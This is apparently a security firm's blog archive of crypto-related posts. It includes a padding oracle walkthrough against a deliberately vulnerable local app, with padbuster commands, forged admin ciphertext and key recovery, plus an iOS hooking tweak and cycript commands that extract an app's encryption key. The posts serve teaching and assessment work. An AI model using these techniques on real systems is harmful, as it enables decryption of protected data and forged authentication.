Search
Twitter

Entries in Crypto (8)

Friday
Jun032016

Insights from the Crypto Trenches

At GDS we are in the particularly advantageous position of working with a wide variety of products, spending time understanding their security and often uncovering their flaws. Given this experience, we decided to share some of our thoughts on the cryptographic aspects of building modern software.

It should come as no surprise to anyone in the field of security engineering that working with crypto is a perilous business, and even highly experienced engineers can get it wrong sometimes. Sophisticated attacks come along once in awhile, partially breaking OpenSSL and other well-respected security libraries. However, for those who have spent enough time in the trenches of cryptographic security, it is clear that the vast majority of crypto issues don’t stem from the underlying vulnerability of a well-respected library. Instead, they by far stem from incorrect design and implementation-specific issues of well-built crypto components. In this blog post we try to expand on why design and implementation goes wrong and give advice on making things go better.

Modern, agile software development processes generally merge some of the stages of requirements analysis, architecture, design, implementation and testing. However, in the case of cryptography it is dangerous to conflate these distinct stages. Cryptography must be considered at all these stages, and because of its difficulty and importance for securing important data and decisions, it must be given higher priority than most other elements. As such, it is typical for a software house to discuss crypto-related decisions for longer, and entrust cryptographic aspects of the system to be implemented by one of the most senior engineers. Both of these help, as do checklists such as those implemented by testssl.sh [1] or guidance such as that provided on Martin Fowler’s blog [2].

However, no checklists or easy guides exist for hand-rolled cryptographic constructs. When it comes to designing systems that use cryptography to achieve an end goal, one of the fundamental mistakes made by designers is to reinvent the wheel in the crypto design space. This is not necessarily because anybody needs the burden of designing something new. Instead it’s because it is hard to know what class of problems can be solved with a certain cryptographic construct. It also doesn’t help that cryptographic terminology can be very confusing. For example, Pseudo Random Functions (PRFs) are always implemented as a deterministic function that neither uses, nor exhibits, any random behaviour [3]. For this reason, GDS recommends bringing in experts, either internal or external, to early crypto design discussions. An expert can not only help mitigate the risk of misusing cryptography, but may also offer ways of reusing existing crypto constructs, reducing the overall cost and time budget of the project.

When it comes to writing code, those who are entrusted to implement the agreed-upon design often find themselves in a tight spot. They have to battle with two separate issues: what crypto library to use for a particular crypto construct and in what way should it be used.

At GDS, we advise our clients to use very few, battle-hardened crypto libraries with strongly restricted configuration sets to meet a large set of generic requirements. Unfortunately, cryptographic agility [4], as implemented by OpenSSL, is often at odds with restricted configurations and hardening. Although OpenSSL is the default go-to crypto library of choice, politics such as government-mandated cryptographic primitives (CAMELLIA from Japan, ARIA from South Korea, GOST from Russia, etc) and misguided optimizations (such as 27,000 lines of Perl generating assembly in OpenSSL) also makes it the elephant in the room that no one really wants to question. However, there is very little else to opt for. The obvious other choice is libnacl [5], written by a team led by Dan Bernstein that tries to significantly limit the number of implemented crypto constructs and hence configurations, reducing the cognitive load and simplifying the job of the person charged with implementation. Although libnacl is a great library, its restricted functionality is often an issue — but it excels at what it does implement. This is true for other specialized libraries as well, such as scrypt [6] that can be used for storing salted and hashed passwords or to derive keys from passwords. The library libsodium [7] builds on libnacl, attempting to address some of its portability and usability concerns. However, it is relatively new and mostly written by a single developer without the crypto pedigree of the nacl team. We therefore caution against using it in production environments. It’s not easy when it comes to working in code with cryptography, which leads us to our next topic.

The second biggest headache that developers face at the implementation stage is the actual code around the use of the chosen crypto library and its constructs. It is not unheard of to see developers surprised to see their sensitive memory-cleaning code being optimised away by smart compilers [8]. As such, GDS recommends using high quality standards around crypto code. In all instances, the actual standards enforced are a function of language, developer familiarity, and a number of business factors such as coding language and culture, however, [9] and [10] are good starting points for C/C++. For example, when coding in C11, using secure version of functions that typically end with “_s” are good practice. The C11 standard requires that memset_s never to be optimised away. Given the number of pitfalls such as these, internal code reviews and a final, third-party code review by an expert is important and highly recommended. Whether the third party is internal or external to the organisation, an expert will pick up problems that those less well versed around the use of crypto may not.

Finally, before software is shipped to customers, an overall, system level review of all elements of the cryptographic system is in order. As the above examples show, it is not easy to get crypto right even if the bits and pieces fit well together. Unfortunately, holistic security of a product depends on intricate interactions of the cryptographic subsystem with the rest of the application, its users, the cultural and social environments it will get deployed in, and the business’ goals. The points where these meet are an ample source of confusion and error. As such, a final review is always recommended.

At GDS, we get to see a lot of crypto code, often only at the final stages of development or beyond, when it’s already in active use by end users. Fixing issues at this stage is costly to the business and frustrating to the developers. Sometimes, when looking at the issues, one wonders how much time could have been saved by using the correct crypto constructs from the right libraries, using good coding guidelines from the get go — no wasteful reinvention of the wheel and no costly retrofitting needed. When it comes to crypto, experience is key. Above, we have tried to put into writing some of the key recommendations that experienced crypto engineers give to solve real-world problems. Naturally, we have plenty more, but we always try to tailor them to needs of the application at hand. In a series of blog posts to follow we plan to go more in-depth into some of the crypto issues we highlighted above, and more.

[1] https://testssl.sh/
[2] http://martinfowler.com/articles/web-security-basics.html#HashAndSaltYourUsersPasswords
[3] https://crypto.stanford.edu/pbc/notes/crypto/prf.html
[4] https://www.imperialviolet.org/2016/05/16/agility.html
[5] https://nacl.cr.yp.to/install.html
[6] http://www.tarsnap.com/scrypt.html
[7] https://download.libsodium.org/doc/
[8] https://www.securecoding.cert.org/confluence/display/cplusplus/MSC06-CPP.+Be+aware+of+compiler+optimization+when+dealing+with+sensitive+data
[9] http://www.cert.org/secure-coding/publications/books/secure-coding-c-c-second-edition.cfm
[10] https://www.securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Standards

Monday
Oct262015

Exploiting Padding Oracle to Gain Encryption Keys

I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield.

The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub.

The application decrypts a request parameter named ‘cipher’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

We know that AES-128 with PKCS#5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check.

Simple padding oracle scenario

The keywords PKCS#5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block:

 

# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

The next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns ‘decryption error’ when the padding is incorrect.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error

Now that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian’s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below:

padbuster URL EncryptedSample BlockSize [options]


In this scenario running padbuster is straightforward: The block size is 16 (16 bytes = 128 bits) and the only additional switch we need for now is -encoding 1 (lower case HEX).

# padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1

+-------------------------------------------+

| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |

+-------------------------------------------+

INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 51

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------

ID#    Freq    Status    Length    Location

-------------------------------------------------------

1         1       200        42        N/A

2 **    255       200        16        N/A

-------------------------------------------------------

Enter an ID that matches the error condition

NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (24/256) [Byte 16]

[+] Success: (165/256) [Byte 15]

[snip]

Block 1 Results:

[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e

[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9

[+] Plain Text: ame=user&Passwor

*** Starting Block 2 of 2 ***

[snip]

-------------------------------------------------------

** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[snip]


Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block (-noiv option in padbuster). However, we don’t know the IV to calculate the plaintext for the first block.

Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down.

 To save time we could also specify the error string for invalid padding:

-error “decryption error”

A more complicated example

Now let’s look at a slightly more complicated scenario: The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ‘ApplicationUsername’ and ‘Password’.

Here is an example for a successful request: The ‘cipher’ parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

If we send a request that only contains a ‘Password’ field the application responds with ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a

decrypted: Password=sesame

# curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a

ApplicationUsername missing

In the case where the crypt value only contains an ‘ApplicationUsername’ field the application responds with ‘Password missing’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

decrypted: ApplicationUsername=user

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54

Password missing

When tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the ‘cipher’ parameter and returns ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

ApplicationUsername missing

Unfortunately, launching padbuster with minimal options fails: When it attempts to brute force the first block it always encounters the same error message (ApplicationUsername missing).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1  

[snip]

ERROR: All of the responses were identical.

Double check the Block Size and try again.

But we can still leverage the order the application checks for the fields: It also returns ‘ApplicationUsername missing’ if the padding is invalid. We only need to prepend encrypted data that contains the ‘ApplicationUsername’ field: If the padding is correct then we get a different response. This way we can decrypt all but the first block.

In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ‘ApplicationUsername’ field spans over two blocks (see Appendix).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"

+-------------------------------------------+

| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |

+-------------------------------------------+

INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***

[snip]

-------------------------------------------------------

** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[snip]

Encrypt

We can also encrypt arbitrary content (Please refer to the original padbuster blog post on how this works behind the scenes). The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with ‘=bla&’. Note that the crafted ciphertext does not have to have the same length as the original one.

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"

[snip]

[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000

-------------------------------------------------------

# curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000

decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin

parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}

Obtaining the key

Being able to decrypt and craft the ‘cipher’ parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability: The IV (and therefore the encryption key) is the plain text of the first block XORed with the intermediate value from decrypting the first block (see block diagram below).

We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application.

 

Using padbuster’s -noiv switch we are able to get the intermediate value after decrypting the first block:

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv             

[snip]

Block 1 Results:

[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b

[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728

[snip]


Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key:

 

0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)

 

Custom Python script

The python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services.

Two Python scripts that exploit our example web application can be found on GitHub. The first script ‘http-simple.py’ is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in ‘http-advanced.py’. This script also demonstrates how to encrypt a plaintext and calculate the key.

A few additional notes

The Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC.

Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values.

Prepending another ciphertext in padbuster can come in handy in other situations as well: The application could have an id within the encrypted fields to detect tampering (similar to a nonce). By prepending a mangled block we can stop the application from recognising the id for the current cipher field.

For the sake of convenience the sample app also has a feature to encrypt arbitrary data:

# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame

crypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Appendix: Ciphertext blocks

Block 1:
484b850123a04baf15df9be14e87369b
ApplicationUsern

Block 2:
c59ca16e1f3645ef53cc6a4d9d87308e
ame=user&Passwor

Block 3:
d2382fb0a54f3a2954bfebe0a04dd4d6
d=sesame[padding]

Wednesday
Feb182015

When ‘EFBFBD’ and Friends Come Knocking: Observations of Byte Array to String Conversions

You’re on yet another thrilling Android assessment, tearing so many holes in this newfound application that you fear the development team may opt to redesign the entire thing instead of fixing what you’ve so gleefully destroyed, when all of a sudden you come across the following encryption key in your hooking output:

Encryption Key:

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD
 

With your head now tilted at a rather astute 22 degree angle off-center, excitement and jubilation has turned into curiosity and wonder. Why does this encryption key have so many repeating ‘EFBFBD’ string patterns? Does your Substrate debugging code contain printing errors? Did the developers do something wrong while generating the key? Are you even sure that what you are printing out is the encryption key used to protect application data?

Analyzing the Android Application Code

As you might have guessed, the above scenario occurred on a real assessment some time back. Although we didn’t have the source code for the Android application, we were able to decompile the APK. Through a combination of runtime analysis using custom Substrate hooks and sifting through the decompiled obfuscated code, we confirmed that our debugging code was indeed correct and the output that we saw was indeed the encryption key. The next logical step was to inspect the application’s key generation process. It was here that we found our culprit.

For simplicity, instead of viewing decompiled obfuscated code, we have written a sample application that mirrors the behavior above. Take a moment and see if you can pinpoint what might be the root cause of the ‘EFBFBD’ string pattern in the encryption key.

public static String genKey(){

    PBEKeySpec localPBEKeySpec = new PBEKeySpec( 
        getPassword().toCharArray(), getSalt(), 20000, 256);          

    try {
        byte[] theKey = 
            SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
                .generateSecret(localPBEKeySpec).getEncoded();

        return new String(theKey);
    } catch (InvalidKeySpecException e) {
        e.printStackTrace();
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
    }

    return null;
}

Did you spot the issue? If not, don’t worry about it, we’ll walk through it now.

At a high-level, this method derives an encryption key based on the user’s application password. This encryption key is used to protect all information assets stored by the application on the Android device. First, the application creates a ‘PBEKeySpec’ object based on the user’s password, a salt value, an iteration count (20,000), and the desired length of the derived key (256 bits). An encryption key is then generated using the PBKDF2 key derivation function and stored into a byte array. So far, so good…at least until the next statement. What looks to be an innocuous casting of the byte array encryption key to a String, turns out to be the operation that is ultimately responsible for the repeating ‘EFBFBD’ pattern in the encryption key.

Let’s insert some debug statements in the sample application to see what the encryption key was prior to the String conversion and following the String conversion. Since the encryption key will contain non-printable characters, we will convert the key to hex using our own ‘bytesToHex’ method before printing it out.

public static String genKey(){

    PBEKeySpec localPBEKeySpec = new PBEKeySpec(
        getPassword().toCharArray(), getSalt(), 20000, 256);

    try {
        byte[] theKey = 
            SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
                .generateSecret(localPBEKeySpec).getEncoded();
        Log.i(_TAG, “Key (Before Casting):+ 
            bytesToHex( theKey ) );

        return new String(theKey);
    }
    ..snip..
}

public static void test() {
    String theKey = genKey();
    Log.i(_TAG, “Key (After Casting):+ 
        bytesToHex(theKey.getBytes()));
}

After running our sample application, below is the resulting output. The encryption key prior to casting represents the key stored in the byte array. This is the correct, expected value. Notice, that the encryption key after the String casting takes place contains the repeating ‘EFBFBD’ pattern mentioned earlier.

Key (Before Casting):                                

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

 

Key (After Casting):      

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

 

Byte Array to String Casting - Android

At this point we have established that casting our byte array to a String yields a very odd looking pattern of ‘EFBFBD’ strings in the resulting encryption key. So, that raises the question, what does EFBFBD mean?

According to the Android documentation: “the platform’s default charset is UTF-8. (This is in contrast to some older implementations where the default charset depended on the user’s locale.)”. In UTF-8, the hex string ‘EFBFBD’ represents a replacement character. In short, a replacement character is used to replace an incoming character whose value is unknown or un-representable. That means every ‘EFBFBD’ sequence maps to a byte (or two hex positions) from the original key (before casting) that could not be represented after the String casting took place. To illustrate this concept, let’s do a find and replace on the encryption key (after casting); replacing every ‘EFBFBD’ sequence with ‘**’ and line it up under the original encryption key.

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
!!******603466**7B**6C24E2B2AA576A******0C6B********76**********

We can now easily see the bytes that could not be represented following the String casting. Note, the ‘!!’ was manually inserted to line up the two outputs. It appears that the first byte of the original encryption key was not included by Android in the String casted encryption key.

Byte Array to String Casting – Different OS

After observing the abnormal String casting behavior on Android, we were curious to see what the outcome would be if we ran a similarly constructed Java application on a different operating system. Enter Windows.

The sample application is given below. Notice, we’ve added an additional debugging statement this time around to identify the default charset being used. According to the Java docs, “the default charset is determined during virtual-machine startup and typically depends upon the locale and charset of the underlying operating system.”

public static String genKey(){
    PBEKeySpec localPBEKeySpec = new PBEKeySpec(
        getPassword().toCharArray(), getSalt(), 20000, 256);

    try {
        byte[] theKey = 
            SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
                .generateSecret(localPBEKeySpec).getEncoded();

        System.out.println(“Key (Before Casting):+
        bytesToHex( theKey ) );
        return new String(theKey);
   } 
   ..snip..
   }
   return null;

}
public static void main(String[] args) {
    System.out.println(“Default Charset:+ 
        Charset.defaultCharset().name());
    
    String theKey = genKey();
    System.out.println(“Key (After Casting):+
    bytesToHex(theKey.getBytes()));
}

After running the above Java application from Eclipse on a Windows 8.1 (x64) operating system, we received the following output:

Default Charset: 

windows-1252

 

Key (Before Casting):                                 

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

 

Key (After Casting):      

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

 

While the encryption keys before and after the String casting takes place look to be identical, they do deviate slightly. Notice that the fourth byte of the original encryption key is ‘8D’, while the fourth byte of the String casted encryption key is ‘3F’. What happened here?

In this particular case, the default charset of the underlying operating system is ‘Windows-1252 (or CP-1252)’. According to the MSDN technical documentation, positions 81, 8D, 8F, 90, and 9D are undefined and reserved by Windows. As a result, after the String casting takes place, the ‘8D’ character in the original encryption key is converted to ‘3F’, which represents the ‘?’ character.

Byte Array to String Casting – Summary View

Below is a summary of the same derived encryption key for different platforms after they have been casted from a byte array to a String. Note, as expected, the byte array representation of the encryption key (before casting) is the same for all platforms.

Key (Byte Array - Before Casting):

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

 

Android 4.3 Key (After Casting):

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

 

Windows 8.1 (After Casting):

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

 

Ubuntu 12.04 (After Casting):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

 

Mac OS X 10.10 (After Casting):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

 

Wrap-Up

Although we took the long way to get to this point, we did so on purpose…after all, seeing is believing. From what we’ve seen, in the context of crypto operations, casting byte arrays to Strings is fairly unpredictable and in almost all cases, undesirable. From the perspective of an encryption key, a chain of ‘EFBFBD’ (or ‘3F’ for that matter) can lead to a significant loss of entropy. From the perspective of encrypted data, a chain of replacement characters likely means that you altered the contents of the data when you casted the byte array to a String. This was probably not your intention.

In short, avoid casting byte arrays to Strings if at all possible. Most crypto methods/functions accept byte arrays as arguments, dismissing the need to perform String casting. If you must handle the String equivalent of a byte array when dealing with crypto operations, consider converting the contents of the byte array to a Base64 encoded String or to its hex equivalent.

Hopefully, this blog post demonstrates the importance of performing validation on crypto routines at runtime. These subtle security flaws are difficult to identify when solely reviewing decompiled/disassembled code and can be easily overlooked. By performing runtime analysis through method hooking or debugging, flaws in crypto routines can be much easier to identify, and in the end, whether you’re a developer or a pen tester, could mean the difference between spotting that repeating ‘EFBFBD’ string pattern or missing it entirely.

References

http://developer.android.com/reference/java/nio/charset/Charset.html

http://www.fileformat.info/info/unicode/char/0fffd/index.htm

http://docs.oracle.com/javase/7/docs/api/java/nio/charset/Charset.html#defaultCharset()

http://en.wikipedia.org/wiki/Windows-1252

http://msdn.microsoft.com/en-us/goglobal/cc305145.aspx

Monday
Feb022015

Mobile Application Management (MAM) Security Checklist and Whitepaper

As a followup to the research GDS performed in 2014 on Mobile Application Management (MAM) solutions for protecting organization data in Bring Your Own Device (BYOD) deployments, we are finally releasing our security checklist and whitepaper. The presentation delivered at Blackhat USA 2014 is available for download here.

The MAM security checklist is intended to be used as a baseline for assessing, designing, and testing the security of a MAM solution and is thus aptly suited to assist three major stakeholders in the BYOD space: buyers, builders, and breakers. This list was constructed from our experience and research assessing a variety of MAM solutions in the marketplace today. This should not be considered an exhaustive list, but rather a compilation of major test cases that can be used to determine the security posture of a MAM solution. As always, contributions/recommendations from the community are welcome in an effort to further expand this checklist. We have published the checklist on Github in order promote feedback and collaboration. The checklist can be found at the following Github page: 

The whitepaper expands on the research delivered at Blackhat USA 2014. It provides additional background on the architecture of MAM solutions, delves into vulnerability patterns, and provides recommendations for designing and implementing MAM solutions securely. The whitepaper can be downloaded using the following link: 

 

Tuesday
Mar052013

Retrieving Crypto Keys via iOS Runtime Hooking 

I am going to walk you through a testing technique that can be used at runtime to uncover security flaws in an iOS application when source code is not available, and without having to dive too deeply into assembly. I am going to use a recent example of an iOS application I reviewed, which performed its own encryption when storing data onto the device. These types of applications are a lot of fun to look at due to the variety of insecure ways people implement their own crypto. In this example the application required authentication, and then pulled down some data and stored it encrypted on the device for caching. The data was presented to the user where they could “act” upon it. Sounds pretty generic, but hopefully the scenario is familiar enough to those who assess mobile apps.

Upon analyzing the application traffic, it was obvious that no crypto keys were being returned from the server. After sweeping the iOS Keychain and the entire Application container, I could make the educated assumption that the key is either a hardcoded value or derived using device specific information.

Using the Hopper Disassembler (Available on the Mac App Store), I was able to see that the application was leveraging the Common Crypto library for its encryption. I checked the cross-references for calls to the CCCryptorCreate function in order find the code areas which perform encryption. The following screenshot shows getSymmetricKeyBytes being called right before the CCCryptorCreate function. I felt pretty confident that the purpose of the getSymmetricKeyBytes method was going to be to return the symmetric key used for encryption. 

I decided to create a Mobile Substrate tweak in order to hook into getSymmetricKeyBytes and read the return value. I used the class-dump-z tool to get a listing of all the exposed Objective-C interfaces. From here it is easy to get more detailed information about the method, such as the class name, return type and any required parameters. The following is a short snippet retrieved from the class-dump-z results.

@interface SecKeyWrapper : XXUnknownSuperclass {

                  NSData* publicTag;

                  NSData* privateTag;

                  NSData* symmetricTag;

                  unsigned typeOfSymmetricOpts;

                  SecKey* publicKeyRef;

                  SecKey* privateKeyRef;

                  NSData* symmetricKeyRef;

}

[..snip..]

-(id)getSymmetricKeyBytes;

-(id)doCipher:(id)cipher key:(id)key context:(unsigned)context padding:(unsigned*)padding;

 [..snip..]

We can quickly create a tweak by using the Theos framework. The tweak in this case looked as follows: 

%hook SecKeyWrapper

- (id)getSymmetricKeyBytes {

    NSLog(@”HOOKED getSymmetricKey”);

    id theKey = %orig;

    NSLog(@”KEY: %@”, theKey);

    return theKey;

}

%end

 

%ctor {

    NSLog(@”SecKeyWrapper is created.”);

    %init;

}

It doesn’t do much more then read the return value of the original method call and write it out to the console. It was possible to confirm that a static key was being used by running the tweak on another iPad, and observing that the same symmetric key was returned. The next step was to decrypt the files. We could hook into the doCipher:key:context:padding method and just print out the first parameter to get the plaintext data. That would work, but that wouldn’t be reproducible since the Tweak code would only execute when the doCipher:key:context:padding method is actually run by the application. A quick Google search on the SecWrapper class turned up the following sample code from Apple.

http://developer.apple.com/library/ios/#samplecode/CryptoExercise/Listings/Classes_SecKeyWrapper_m.html

By leveraging the wrapper it was possible to create an offline script to decrypt the application contents.

While looking at sample code I noticed two things. The app developer chose to change Apple’s implementation of the getSymmetricKeyBytes method and return a static key. The other interesting discovery was bad practices in Apple’s sample code for the doCipher:key:context:padding method.  The following code snippet shows that it will use a static IV of 16 bytes of 0x0’s.

 // Initialization vector; dummy in this case 0’s.

uint8_t iv[kChosenCipherBlockSize];

memset((void *) iv, 0x0, (size_t) sizeof(iv));

An alternative method to achieve the same result would be to use cycript, which provides a Javascript interpreter to hook run arbitrary objective-c code and also hook into iOS applications at runtime without having to go through the whole Mobile Substrate Tweak creation. The following example shows how cycript could be used to retrieve the symmetric crypto key. 

rgutie01s-iPad:~ root# cycript -p 290
cy# var sharedwrapper = [SecKeyWrapper sharedWrapper];
@”<SecKeyWrapper: 0x183080>”
cy# [sharedwrapper getSymmetricKeyBytes]
@”<[Symmetric Key Value Omitted>”

To recap:

  1. Runtime analysis can be leveraged to easily break custom encryption when source code is not available and without having to dive into assembly.
  2. Developers need to beware of using sample code downloaded from the web, especially crypto code as it’s really hard to get right (as shown by the sample from Apple).